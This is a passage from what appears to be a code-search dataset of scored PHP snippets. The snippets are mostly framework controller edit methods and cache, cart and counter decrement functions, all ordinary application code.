Gets Fields List\n\t\t$this->getFieldList();\n\t\t$this->objSmarty->assign('objData',$this->objData);\n\t\t\n\t\t// Shows interface\n\t\t$this->renderTemplate(true,$this->strModule . '_form.html');\n\t}", "title": "" }, { "docid": "f8aee712021a0a05cbe7c94c60ca6d93", "score": "0.6588382", "text": "public function edit($id) {\n //\n $resource = Resource::find($id);\n return back()->with('editresource',$resource);\n }", "title": "" }, { "docid": "86d1f75f514c3b131adae0c8cebb7e03", "score": "0.6585817", "text": "public function edit($id) {\n $job = Job::where('id', $id)->first();\n\n return view('forms.editJobForm', ['job' => $job]);\n }", "title": "" }, { "docid": "0725b077de449824aa68932fd4c06e1e", "score": "0.6585609", "text": "public function edit($id)\n\t{\n\t\tView::share('action', 'edit');\n\t\t$this->book = Book::with('author')->findOrFail($id);\n\t\t$this->layout->content = View::make('book/edit')->with('book', $this->book);\n\t}", "title": "" }, { "docid": "63b009873bce5c7c95fc27d34eb2c977", "score": "0.6583854", "text": "public function edit($id)\n\t{\n\t\t// get the genero\n\t\t$genero = Genero::find($id);\n\n\t\t// show the edit form and pass the genero\n\t\t$this->layout->content = View::make('genero.edit')\n\t\t\t->with('genero', $genero);\n\t}", "title": "" }, { "docid": "2036ec29cbad4ebb5c2e9ffca9c418ae", "score": "0.65807027", "text": "public function edit($id)\n\t{\n\t\t$oficina = Oficina::findOrFail($id);\n\n\t\treturn view('admin.oficinas.edit', compact('oficina'));\n\t}", "title": "" }, { "docid": "0a559309f2a48b4e6e1f531aeecd4b3a", "score": "0.6580553", "text": "public function edit($id)\n {\n //\n \n if(Auth::user()->isAdmin()) {\n $product = Product::find($id);\n return view('products.edit_form') -> with('product', $product) -> with('manufacturers', Manufacturer::all());\n } else {\n \n session()->flash('danger', 'You do not have right to edit the product.');\n \n }\n return redirect()->back();\n }", "title": "" }, { "docid": "bbd0cad2e80812e64ded040020148d94", "score": "0.6580386", "text": "public function edit()\n {\n $jobId = Helper::getIdFromUrl('job');\n $job = JobModel::load()->get($jobId);\n\n Helper::checkIdsFromSessionAndUrl($job->user_id);\n\n View::render('jobs/edit.view', [\n 'method' => 'POST',\n 'action' => '/job/' . $jobId . '/update',\n 'job' => $job\n ]); \n }", "title": "" }, { "docid": "a6c6b148776a004b9feea4845a365f72", "score": "0.65799844", "text": "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "title": "" }, { "docid": "ff31c9fe6a0066f10f83d40443f2a001", "score": "0.65770376", "text": "public function edit($id, Request $request)\n {\n $resource = $this->resources->findOrFail($id);\n\n $category = $this->categories->findBySlug(Category::SLUG_RESOURCES);\n\n abort_unless($category, 404);\n\n $categoryId = $request->query('category_id', null);\n if ($categoryId) {\n $resource->category_id = $categoryId;\n }\n\n $categories = $this->categories->getChildrenByParent($category);\n $authors = $this->authors->all();\n $statuses = Resource::getAllStatuses();\n\n return view('spark::kiosk.resource.edit', compact('resource', 'categories', 'authors', 'statuses'));\n }", "title": "" }, { "docid": "81d2968d7fc0142efbb22b2c81fc3c03", "score": "0.6576812", "text": "public function edit()\n {\n return view('panel::edit');\n }", "title": "" }, { "docid": "5d95ad49eb9dde72f7bad4139e934d2a", "score": "0.6575461", "text": "public function edit(Product $product)\n {\n //\n return $this->formView($product);\n }", "title": "" }, { "docid": "32a2288a9719adb61281e330dcfcb6be", "score": "0.6572076", "text": "public function edit()\n {\n return view('post::edit');\n }", "title": "" }, { "docid": "102b804d3fdc24125875b01f5339096a", "score": "0.65714765", "text": "public function edit($id)\n {\n return view('form.edit', Form::findorfail($id));\n }", "title": "" }, { "docid": "adf8a8a4d2598db563e5a217bbdba3cd", "score": "0.6570653", "text": "public\n\tfunction edit() {\n\t\treturn view('roles::edit');\n\t}", "title": "" }, { "docid": "87f80527ccf944a69125ffa41418e52d", "score": "0.656931", "text": "public function edit()\n {\n return view('inventory::edit');\n }", "title": "" }, { "docid": "5612f7342c86406c173280e0606947ef", "score": "0.65648115", "text": "public function editAction(){\n $this->title = 'Edit privilege';\n \n $form = new PrivilegeForm();\n $privilegeModel = new Privilege();\n \n if($this->getRequest()->isPost()){\n if($form->isValid($this->getRequest()->getPost())){\n $privilegeModel->save($form->getValues());\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => 'The privilege was successfully edited.',\n )\n );\n \n //Regenerate Flag and Flippers\n App_FlagFlippers_Manager::save();\n \n $this->_redirect('/privileges/');\n }\n }else{\n $id = $this->_getParam('id');\n \n if (!is_numeric($id)) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-error' => 'The provided privilege_id is invalid.',\n )\n );\n \n $this->_redirect('/privileges/');\n }\n \n $row = $privilegeModel->findById($id);\n \n if (empty($row)) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-warning' => 'The requested privilege could not be found.',\n )\n );\n \n $this->_redirect('/privileges/');\n }\n \n $form->populate($row->toArray());\n $this->view->item = $row;\n }\n \n $this->view->form = $form;\n }", "title": "" }, { "docid": "f5e66e76e12762a9390e895ff8b010a1", "score": "0.6561447", "text": "public function edit($id)\n {\n return view('crm::edit');\n }", "title": "" }, { "docid": "f5e66e76e12762a9390e895ff8b010a1", "score": "0.6561447", "text": "public function edit($id)\n {\n return view('crm::edit');\n }", "title": "" }, { "docid": "5775aa0e917620a07289496795e159aa", "score": "0.6558975", "text": "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CabinetPatientBundle:Patient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Patient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CabinetPatientBundle:Patient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "5a4fa29c8ead075ce097e439b6230e7f", "score": "0.6557373", "text": "public function edit() {\n return view('page::edit');\n }", "title": "" }, { "docid": "7036da046bffbfc19788a64f352479f1", "score": "0.6556628", "text": "public function edit($id)\n {\n $this->data['mode'] = 'edit';\n $this->data['headline'] = 'Update Informtation';\n $this->data['button'] = 'Update';\n\n $this->data['categories'] = Category::arrayForSelect();\n $this->data['product'] = Product::findorfail($id);\n\n return view('products.form',$this->data);\n }", "title": "" }, { "docid": "b1e091bc34289ce5815c7d0b31f9819f", "score": "0.6555672", "text": "public function edit()\n {\n return view('penerimaanbarangpo::edit');\n }", "title": "" }, { "docid": "1bf97160345191ce099650d7d6e00526", "score": "0.6553838", "text": "public function edit($id)\n {\n $formulario = Formulario::find($id);\n\n return view('formulario/edit')->with('formulario', $formulario);\n }", "title": "" }, { "docid": "b1a3f3ce92584deb6d9ca02e12c64273", "score": "0.654789", "text": "public function edit($id)\n\t{\n return View::make('qualimandroids.edit');\n\t}", "title": "" }, { "docid": "151edb16858cb744e42ff9328609d7c5", "score": "0.65452754", "text": "public function edit($id)\n {\n $info = $this->tableService->find($id);\n return view('backend.table.form',compact('info'));\n }", "title": "" }, { "docid": "5bfd503c4d418b21289e0965a996d9ce", "score": "0.6544858", "text": "public function edit($id)\n\t{\n return View::make('documentos.edit');\n\t}", "title": "" }, { "docid": "68681147e5708ef1d65d76ee334789ed", "score": "0.6541047", "text": "public function editAction($id) {\n $this->securityControle();\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('GestionBundle:Employe')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Employe entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('GestionBundle:Employe:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "63bf6338921c0ecb6e450b96aa113d99", "score": "0.653981", "text": "public function edit($id) {\n $viewData = $this->getDefaultViewData();\n $viewData[\"salesInvoice\"] = SalesInvoice::find($id);\n $viewData[\"mode\"] = \"EDIT\";\n\n return view('pages.sales-invoices.form', $viewData);\n }", "title": "" }, { "docid": "f45506e1eb4c9818c7c6486f9f220b97", "score": "0.65383214", "text": "public function edit($id)\n {\n //see modal controller\n }", "title": "" }, { "docid": "f45506e1eb4c9818c7c6486f9f220b97", "score": "0.65383214", "text": "public function edit($id)\n {\n //see modal controller\n }", "title": "" }, { "docid": "84d9018597a19c73dbebf5d06a3be9a2", "score": "0.65322036", "text": "public function edit($id)\n {\n //\n $enterprise= enterprise::find($id);\n return view('Enterprise.edit',compact('enterprise'));\n }", "title": "" }, { "docid": "f0a76f273d495876976122c5ef6a0216", "score": "0.6531367", "text": "public function edit($id)\n {\n $model = $this->getModel()->find($id);\n if (!$model) {\n return $this->create();\n }\n\n $this->setIndexParams([\n 'model' => $model,\n 'url' => $this->getFormUrl(),\n 'module' => $this->module,\n 'viewPath' => $this->getViewPath()\n ]);\n return view(sprintf('%s.edit', $this->getViewPath()),$this->getIndexParams());\n }", "title": "" }, { "docid": "947653e61d0da11a491ac8f8ab4c2834", "score": "0.6529227", "text": "public function edit($id)\n {\n $requicisao = $this->requicisaoRepository->find($id);\n\n if (empty($requicisao)) {\n Flash::error(__('messages.not_found', ['model' => __('models/requicisaos.singular')]));\n\n return redirect(route('requicisaos.index'));\n }\n\n return view('requicisaos.edit')->with('requicisao', $requicisao);\n }", "title": "" }, { "docid": "8720fc9c034d2db005346ebf128debb7", "score": "0.6529178", "text": "public function edit($id)\n {\n $worker=Worker::find($id);\n return view('Worker.updateform')->with('worker',$worker);\n }", "title": "" }, { "docid": "3cc92efd165a27a9567115e63d5afc4f", "score": "0.65289825", "text": "public function edit($id)\n {\n //formulario que permite modificar los datos \n }", "title": "" }, { "docid": "452b52e702b8d21243ac1f71da4ecd8b", "score": "0.6528226", "text": "public function edit($id)\n {\n //\n $field = Field::find($id);\n $menu = 'field';\n return view('admin.field.edit',compact('field','id','menu'));\n }", "title": "" }, { "docid": "003b6711d6f29181a45b0161a4d2d580", "score": "0.65280944", "text": "public function edit($id)\n {\n $this->view->line = $this->model->edit($id);\n $this->view->render($this->path . '/edit');\n \n }", "title": "" }, { "docid": "1f1fbaf4a6b16a7929b4ed49489555ed", "score": "0.6526529", "text": "public function edit($id)\n {\n $model = Kain::findOrFail($id);\n return view('adminstok.stokkain.form', compact('model'));\n }", "title": "" }, { "docid": "1ac91718aaf760018a9a68bfca3c4ca9", "score": "0.65216976", "text": "public function edit()\n {\n return view('perfil.edit');\n }", "title": "" }, { "docid": "0061e073e0d24249bc7f3fb846e94788", "score": "0.65170205", "text": "public function edit($id)\n {\n //\n $projecto = projecto::find($id);\n\n // show the editprojecto form and pass the nerd\n return View('projecto.editProjecto')\n ->with('projectos', $projecto);\n }", "title": "" }, { "docid": "c8485d35beb0db260202f1dfbd256b0e", "score": "0.65143573", "text": "public function editAction()\r\n {\r\n $item = $this->getItem();\r\n if($item === false) {\r\n $this->getResponse()->setStatusCode(404);\r\n return;\r\n }\r\n\r\n /** @var \\Zend\\Form\\Form $form */\r\n $form = $this->getServiceLocator()->get('thingyform'); // name to be dealt with here\r\n $form->setObject($item);\r\n\r\n return array(\r\n 'item' => $item,\r\n 'form' => $form\r\n );\r\n }", "title": "" } ]
e5be4c3f76ad28af3d08a89433f73896
Internal method to decrement an item.
[ { "docid": "3b83d0b90a1077c29d3c2f1e101d59e9", "score": "0.5851573", "text": "protected function internalDecrementItem(& $normalizedKey, & $value)\n {\n $options = $this->getOptions();\n $namespace = $options->getNamespace();\n $prefix = ($namespace === '') ? '' : $namespace . $options->getNamespaceSeparator();\n $internalKey = $prefix . $normalizedKey;\n $value = (int) $value;\n $newValue = apc_dec($internalKey, $value);\n\n // initial value\n if ($newValue === false) {\n $ttl = $options->getTtl();\n $newValue = -$value;\n if (!apc_add($internalKey, $newValue, $ttl)) {\n throw new Exception\\RuntimeException(\n \"apc_add('{$internalKey}', {$newValue}, {$ttl}) failed\"\n );\n }\n }\n\n return $newValue;\n }", "title": "" } ]
[ { "docid": "3350007fe3a0661dad28fc567b56d62f", "score": "0.66962457", "text": "public function decrement($itemHash)\n {\n $item = $this->getItem($itemHash);\n if ($item->qty > 1) {\n $item->qty--;\n $this->update();\n\n return $item;\n }\n $this->removeItem($itemHash);\n $this->update();\n }", "title": "" }, { "docid": "811381247480b899ccddb62eade63765", "score": "0.6544425", "text": "public function decrement($key, $dec) { }", "title": "" }, { "docid": "60c2022ab38ff5e121c117149ee628ae", "score": "0.64823747", "text": "public function decrement()\n {\n \t\t$val = $this->count;\n\n \t\t// Decrease it\n \t\t$val--;\n\n \t\t// Return it\n \t\t$this->count = $val;\n\n \t\t// Get the time, return it, and send it to message\n $time = $this->time = Carbon::now()->toDayDateTimeString();\n\n Log::channel('slack-info')->info('Counter Down: '.$val.' and it was '.$time);\n }", "title": "" }, { "docid": "ad5eb40680e4cf31b3094e5a89f82a4d", "score": "0.6338787", "text": "protected function internalDecrementItem(& $normalizedKey, & $value)\n {\n $memc = $this->getMemcachedMasterResource();\n $value = (int)$value;\n $newValue = $memc->decrement($normalizedKey, $value);\n\n if ($newValue === false) {\n $rsCode = $memc->getResultCode();\n\n // initial value\n if ($rsCode == MemcachedResource::RES_NOTFOUND) {\n $newValue = -$value;\n $memc->add($normalizedKey, $newValue);\n $rsCode = $memc->getResultCode();\n }\n\n if ($rsCode) {\n throw $this->getExceptionByResultCode($memc, $rsCode);\n }\n }\n\n return $newValue;\n }", "title": "" }, { "docid": "0fc9ac6a73fb9f98a2fdf65e677979a1", "score": "0.63386154", "text": "protected function internalDecrementItem(& $normalizedKey, & $value, array & $normalizedOptions)\n {\n $ns = $normalizedOptions['namespace'];\n $data = & $this->data[$ns];\n if (isset($data[$normalizedKey])) {\n $data[$normalizedKey][0]-= $value;\n $data[$normalizedKey][1] = microtime(true);\n $newValue = $data[$normalizedKey][0];\n } else {\n if (!$normalizedOptions['ignore_missing_items']) {\n throw new Exception\\ItemNotFoundException(\n \"Key '{$normalizedKey}' not found within namespace '{$ns}'\"\n );\n }\n\n // add a new item\n $newValue = -$value;\n $data[$normalizedKey] = array($newValue, microtime(true), null);\n }\n\n return $newValue;\n }", "title": "" }, { "docid": "c2965edd17c753c14b45e48bcceb7fa7", "score": "0.6291481", "text": "public function decrease(): void\n {\n $args = func_get_args();\n\n foreach ($args as $arg) {\n if (is_array($arg) || $arg instanceof Traversable) {\n foreach ($arg as $element) {\n $this->decrease($element);\n }\n } else {\n $this->copy($this->sub($arg));\n }\n }\n }", "title": "" }, { "docid": "2e21dd012f574eb7e7d7c71f308204a5", "score": "0.6229718", "text": "public function decrement($key, $ammount = 1)\n\t{\n\t\t$value = $this->read($key);\n\n\t\tif($value === false || !is_numeric($value))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$value -= $ammount;\n\n\t\ttry\n\t\t{\n\t\t\t$success = (bool) $this->table()->where('key', '=', $this->identifier . $key)->update(array('data' => serialize($value)));\n\n\t\t\tif(!$success)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tcatch(PDOException $e)\n\t\t{\n\t\t\t return false;\n\t\t}\n\n\t\treturn (int) $value;\n\t}", "title": "" }, { "docid": "5814a84215c0d21a35c8853b9f0fcc9f", "score": "0.6224586", "text": "protected function decrement(): int\n {\n if (! Cache::has($this->signature)) {\n return 0;\n }\n\n $value = Cache::get($this->signature) - 1;\n\n if ($value === 0) {\n Cache::forget($this->signature);\n return 0;\n }\n\n Cache::put($this->signature, $value);\n\n return $value;\n }", "title": "" }, { "docid": "76f22a8854aa9f19b45a8927896dccbc", "score": "0.6190225", "text": "public function decrementPosition()\n {\n if($this->isNotInList()) return NULL;\n $this->setListifyPosition($this->getListifyPosition() - 1);\n }", "title": "" }, { "docid": "bbcc2ecd73443486d588aad1ef2b8c88", "score": "0.6105595", "text": "public function decrement($key, $offset = 1, $initial_value = 0, $expiry = 0) {}", "title": "" }, { "docid": "0124103f50562f49d6f5e8af9791a323", "score": "0.60609823", "text": "public function decrement($key, $value = 1)\n {\n return $this->memcache->decrement($this->prefix.$key, $value);\n }", "title": "" }, { "docid": "94fd6de534be2fff6bd6e5aedf39949f", "score": "0.6059603", "text": "public abstract function decrement($key, $amount = 1, $expiration = 0);", "title": "" }, { "docid": "266ed675eb09cbd11392e446ce14364e", "score": "0.6059504", "text": "public function decrement($name, $delta = 1);", "title": "" }, { "docid": "eba6c7f41aa9afcfbecdb2e89c009212", "score": "0.598742", "text": "public function decrement($key, $value = 1)\n {\n $decrement = 0;\n if ($integer = $this->get($key)) {\n $decrement = $integer - $value;\n if ($decrement <= 0) {\n $decrement = 0;\n }\n $this->put($key, $decrement, 0);\n\n return $decrement;\n }\n\n $this->put($key, $decrement, 0);\n\n return $decrement;\n }", "title": "" }, { "docid": "74c531abe09b887dcec29d8a9e1ba2cc", "score": "0.5980203", "text": "public function decrementCount()\n {\n return (--$this->count);\n }", "title": "" }, { "docid": "d25eb12bf55c674dbc8ac20e6ee8542e", "score": "0.5948198", "text": "public function removeItem($art) {\r\n\r\n if (isset($this->items[$art])) {\r\n\r\n $num = $this->items[$art][2] - 1;\r\n $this->items[$art][2] = $num;\r\n\r\n if ($this->items[$art][2] == 0)\r\n unset($this->items[$art]);\r\n }\r\n }", "title": "" }, { "docid": "6fec32a1ef23f1db20973c33cf3ef62f", "score": "0.5942026", "text": "public function decrement($keyName, $value=null){ }", "title": "" }, { "docid": "608a74b274c1c71aee19f22a974282b3", "score": "0.591642", "text": "public function decrement($fieldName, $cnt = 1)\n {\n if (isset($this->{$fieldName}) || in_array($fieldName, $this->attributeNames())) {\n $this->{$fieldName} = ((int)$this->{$fieldName}) - ((int)$cnt);\n $this->update();\n }\n }", "title": "" }, { "docid": "febbdaae55ebcacca84bc1cf6d2a33f3", "score": "0.59161747", "text": "public static function decrement($key, $value = 1)\n {\n return Cache::decrement($key, $value);\n }", "title": "" }, { "docid": "7533a6ef23c1cffe73448bba1ada0d6a", "score": "0.58695716", "text": "public function decrement($key, $value = 1)\n {\n return $this->cacheRepository->decrement($this->prefix.$key, $value);\n }", "title": "" }, { "docid": "1e1ff581b111da41a53cd9ec693936b7", "score": "0.5867962", "text": "public function value_decrement($name, $value) {\n if(!$this->value_exists($name)) $this->value_set($name, 0);\n\n $this->value_set($name, (integer)$this->value_get($name) - $value);\n\n return $this->value_get($name);\n }", "title": "" }, { "docid": "0355b4859b9590379c431d14846ef274", "score": "0.5756848", "text": "function remove_item($art, $num) {\r\n \r\n ## Check to see if we have some of these\r\n list($item, $have) = $this->check($art);\r\n \r\n ## Can't take them out\r\n if (!$item || ($num > $have)) {\r\n return false;\r\n }\r\n \r\n ## Drop the item\r\n if ($num == $have) {\r\n unset($this->item[$item]);\r\n return $item;\r\n }\r\n \r\n ## Take $num out...\r\n $this->item[$item][\"num\"] -= $num;\r\n return $item;\r\n }", "title": "" }, { "docid": "2bea5eb7e761387c4b5cbfaf0a23b22c", "score": "0.5692982", "text": "public function remove($item_name) {\n\t\t$this->map[$item_name]['qty'] -= 1;\n\t\tif( $this->map[$item_name]['qty'] == 0 ) {\n\t\t\tunset($this->map[$item_name]);\n\t\t}\n\t\t$this->items = array_values($this->map);\n\t\tvar_dump($this->items);\n\t}", "title": "" }, { "docid": "105e8c82373b37154a135758da814755", "score": "0.5689972", "text": "public function decrement(string $key, mixed $value = 1): int|bool;", "title": "" }, { "docid": "29cc3e9bc36e4406432d38e453a1859e", "score": "0.5679532", "text": "public function decrease(...$args)\n {\n foreach ($args as $arg) {\n if (is_array($arg) || $arg instanceof \\Traversable) {\n foreach ($arg as $element) {\n $this->decrease($element);\n }\n } else {\n $this->copy($this->sub($arg));\n }\n }\n }", "title": "" }, { "docid": "77d7c1392924fb6de5197b472d9728b1", "score": "0.5670322", "text": "public function fjern($item)\n {\n $this->remove($item);\n }", "title": "" }, { "docid": "ac1049629bcdb5265568d09110d5723d", "score": "0.5661582", "text": "function decreaseNumberInShoppingcart($item) {\n if ($_SESSION[\"Shoppingcart\"][$item][1] <= 1) {\n removeFromShoppingcart($item);\n } else {\n $_SESSION[\"Shoppingcart\"][$item][1] = $_SESSION[\"Shoppingcart\"][$item][1] - 1;\n }\n}", "title": "" }, { "docid": "a82eb2170ffebd0c90db37d6f69d1b40", "score": "0.564642", "text": "public function decrement($id, $field, $table) {\n\t\treturn $this->updateById($id, $table, array($field => $field - 1));\n\t}", "title": "" }, { "docid": "194957a0937751ea4e802184856076a8", "score": "0.5567164", "text": "public final function __removeItem(Core\\Type $item) {\n\t\t\treturn $this->removeItem($item)->unbox();\n\t\t}", "title": "" }, { "docid": "3c24a6c6bb596cd6bc6f18b984f65558", "score": "0.5556576", "text": "public static function decrement($id, $field, $table) {\n\t\treturn self::c()->decrement($id, $field, $table);\n\t}", "title": "" }, { "docid": "b0f18a9757fb6396fdfe04bee438826f", "score": "0.5550202", "text": "function remove_item($artnr, $num) {\n if ($this->items[$artnr] > $num) {\n $this->items[$artnr] -= $num;\n return true;\n } elseif ($this->items[$artnr] == $num) {\n unset($this->items[$artnr]);\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "d13f3e0a09feaca7be7cd192cb94e6bc", "score": "0.55498344", "text": "public function decrement(string $key, int $by = 1)\n {\n return $this->increment($key, $by * -1);\n }", "title": "" }, { "docid": "333ad0a3ce5f497f6c4c03c83a80d353", "score": "0.5546454", "text": "public function decreaseQuantity()\r\n {\r\n $product = $this->product;\r\n if($this->variationId){\r\n $variation = $this->variation;\r\n $variation->decreaseQuantity($this->quantity);\r\n }\r\n else{\r\n $product->decreaseQuantity($this->quantity);\r\n }\r\n }", "title": "" }, { "docid": "196570f5d2862b667a91c1aab6807d46", "score": "0.5540198", "text": "public function destroy(item $item)\n {\n //\n }", "title": "" }, { "docid": "06bc401154f5434f9da169fc4c766770", "score": "0.5528045", "text": "public function destroy(Item $item)\n {\n\n }", "title": "" }, { "docid": "fa7aae84c730459359b758ac361b7398", "score": "0.5494476", "text": "public function removeitem(SS_HTTPRequest $request)\n {\n $this->cart->decrementBuyable($this->buyable(), $this->quantity(), $this->parameters());\n\n return $this->cart->setMessageAndReturn();\n }", "title": "" }, { "docid": "4cde91d2dcfbc130f3818710cf00abd6", "score": "0.5483799", "text": "final public function delItem($var){\n\t\treturn self::unsetVar($var, $this->__items);\n\t}", "title": "" }, { "docid": "8d071db21fa6ae383ea81214ecd7ec00", "score": "0.5467373", "text": "public function __post_dec()\n\t{\n\t\treturn $this->dec();\n\t}", "title": "" }, { "docid": "54816d5e4f886c9c6ecd48ea79191b83", "score": "0.54643077", "text": "public function decreaseItem($id){\n $oldCart = Session::has('cart') ? Session::get('cart') : null;\n $cart = new Cart($oldCart);\n $cart->decreaseItemByOne($id);\n if(count($cart->items) > 0){\n Session::put('cart',$cart);\n }else{\n Session::forget('cart');\n }\n return redirect()->route('cart');\n }", "title": "" }, { "docid": "7832e5156a22418718949af3d3e9d828", "score": "0.54516125", "text": "public function decrement($key, $value = 1)\n {\n if ($this->_currentProvider === self::CACHE_NONE)\n throw new CacheEngineNotSet();\n\n $val = false;\n $prefixKey = $this->_prefixKey($key);\n if ($this->_currentProvider === self::CACHE_MEMCACHE)\n $val = $this->_provider->decrement($prefixKey, $value);\n else if ($this->_currentProvider === self::CACHE_REDIS)\n $val = $this->_provider->decrBy($prefixKey, $value);\n\n return $val;\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "107e8fd17c61c5f81268382ead5be305", "score": "0.54425883", "text": "public function destroy(Item $item)\n {\n //\n }", "title": "" }, { "docid": "0e645ad387d3b90eabe9e8b955704fdc", "score": "0.5442027", "text": "public function moveHigher()\n {\n if(!$this->higherItem()) return;\n\n $this->getConnection()->transaction(function()\n {\n $this->higherItem()->increment($this->positionColumn());\n $this->decrement($this->positionColumn());\n });\n }", "title": "" }, { "docid": "10a75f455eec08227032ea8fdc47576f", "score": "0.5441272", "text": "protected function decrement($column, $amount = 1)\n {\n return $this->incrementOrDecrement($column, $amount, 'decrement');\n }", "title": "" }, { "docid": "7c4188607e626ba3655fe8c434e9fcb9", "score": "0.5426532", "text": "public function decrement($key,\n $offset = 1,\n $initial_value = 0,\n $expiration = 0) {\n return $this->incrementInternal($key, $offset, $initial_value, $expiration,\n false);\n }", "title": "" }, { "docid": "c3731c0e2624806de1b99d12438579d3", "score": "0.54092216", "text": "public function decr(string $state, $by = 1)\n {\n return $this->incr( - $by );\n }", "title": "" }, { "docid": "63fc01eb7e4d5e90f1cbacf404578497", "score": "0.5406915", "text": "public function reverse() {\n\t\t$this->items = array_reverse( $this->items );\n\t}", "title": "" }, { "docid": "20967a15ea42084a524576eec2234bb2", "score": "0.5402439", "text": "public function decrementByKey($server_key, $key, $offset = 1, $initial_value = 0, $expiry = 0) {}", "title": "" }, { "docid": "29927ed16bea854132d5710281a36b6b", "score": "0.53859913", "text": "public function refCounterDec()\n {\n $this->ranking -= 1;\n return $this;\n }", "title": "" }, { "docid": "c7ddebe6796f4d3a92cb088034b3fc21", "score": "0.53245604", "text": "public function removeItem($item)\n {\n return $item->remove($this);\n }", "title": "" }, { "docid": "c20ff643569510979d734dce2713a23a", "score": "0.5315195", "text": "public function decrease($amount)\n {\n //Commenting this out because it causes an error when transaction is deleted\n //if savings is made negative.\n// if($this->amount < $amount) {\n// throw new \\InvalidArgumentException(\"The amount should not be higher than the savings amount.\");\n// }\n\n $this->decrement('amount', $amount);\n }", "title": "" }, { "docid": "a7905fa27478c9df788fd4881767ffd5", "score": "0.5295418", "text": "public function testDecrement(IntegrationTester $I)\n {\n\n $I->assertSame(10, $this->cache->increment(\"key\", 10));\n\n // test decrementing value:\n\n $I->assertSame(5, $this->cache->decrement(\"key\", 5));\n $I->assertSame(4, $this->cache->decrement(\"key\"));\n }", "title": "" }, { "docid": "c4ca38a73f750a4472a8d466dc53c85b", "score": "0.5283956", "text": "public function decrement($key, $offset = 1)\n {\n $handler = $this->getHandler();\n $res = $handler->decrement($key, $offset);\n if ($errorCode = $handler->getResultCode()) {\n $res = false;\n }\n\n return $res;\n }", "title": "" }, { "docid": "259e4889d9c12b0009fe8eabdb82f884", "score": "0.5283927", "text": "function decr( $key, $offset = 1, $group = 'default' ) {\n\t\t$value = $this->get( $key, $group );\n\t\tif ( $value === false )\n\t\t\treturn false;\n\n\t\tif ( !is_numeric( $value ) )\n\t\t\t$value = 0;\n\n\t\t$offset = (int) $offset;\n\t\t$value -= $offset;\n\n\t\tif ( $value < 0 )\n\t\t\t$value = 0;\n\t\t$this->replace( $key, $value, $group );\n\t\treturn $value;\n\t}", "title": "" }, { "docid": "910ef660c0634520d44951317e5b6026", "score": "0.52821994", "text": "private function _restoreItemQty()\n {\n /** @var $item Mage_Sales_Model_Order_Item */\n foreach ($this->getOrder()->getAllItems() as $item) {\n Mage::getSingleton('cataloginventory/stock')->backItemQty($item->getProductId(), $item->getQtyOrdered());\n }\n }", "title": "" }, { "docid": "42909146ade6c9ce11988dba56c4e49c", "score": "0.5267785", "text": "public function delete(Item $item);", "title": "" }, { "docid": "695a193d66f2148a00dd2a8ea4dfc45d", "score": "0.5266176", "text": "function move_item_down($table_name, $current_id, $group_query) {\n\t$next_item = get_item($table_name, \"sequence\", $current_id, $group_query, \"next\");\n\n\t$sequence = db_fetch_cell(\"select sequence from $table_name where id=$current_id\");\n\t$sequence_next = db_fetch_cell(\"select sequence from $table_name where id=$next_item\");\n\tdb_execute(\"update $table_name set sequence=$sequence_next where id=$current_id\");\n\tdb_execute(\"update $table_name set sequence=$sequence where id=$next_item\");\n}", "title": "" }, { "docid": "11cf6506988740a16cfb66ab1a3c49e8", "score": "0.52659476", "text": "public function reviseFixedPriceItem()\n {\n $xmlAction = 'ReviseFixedPriceItem';\n\n $this->init($this->pObj);\n\n $prompt = __METHOD__ . ' #' . __LINE__;\n $this->log($prompt, -1);\n\n if (!$this->requirements())\n {\n return false;\n }\n\n $xmlRequest = $this->xmlRequestReviseItem($xmlAction);\n $xmlResponse = $this->xmlResponse($xmlRequest, $xmlAction);\n\n if (!$this->evalResponse($xmlRequest, $xmlResponse, $xmlAction))\n {\n return false;\n }\n\n if ($this->getEbayMode() != 'test')\n {\n $this->feesPrompt($xmlResponse);\n }\n\n// $status = $this->getItem();\n// $prompt = __METHOD__ . ' #' . __LINE__ . ' status: ' . $status;\n// $this->log($prompt, 3);\n return true;\n }", "title": "" }, { "docid": "0971d470209d03de1f344bdf30501a92", "score": "0.526125", "text": "public function decrement($number, $remainLife = null, $remainShield = null)\n {\n parent::decrement($number);\n if ($remainLife == null)\n {\n $remainLife = $this->singleLife;\n }\n if ($remainShield == null)\n {\n $remainShield = $this->singleShield;\n }\n $this->fullLife -= $this->singleLife * $number;\n $this->fullPower -= $this->singlePower * $number;\n $this->fullShield -= $this->singleShield * $number;\n\n $this->currentLife -= $remainLife * $number;\n $this->currentShield -= $remainShield * $number;\n }", "title": "" }, { "docid": "91943145fe6caf5289141d63c7aeecb6", "score": "0.5246327", "text": "function decr( $key, $amt )\n\t{\n\t\t$key = base64_encode( $key 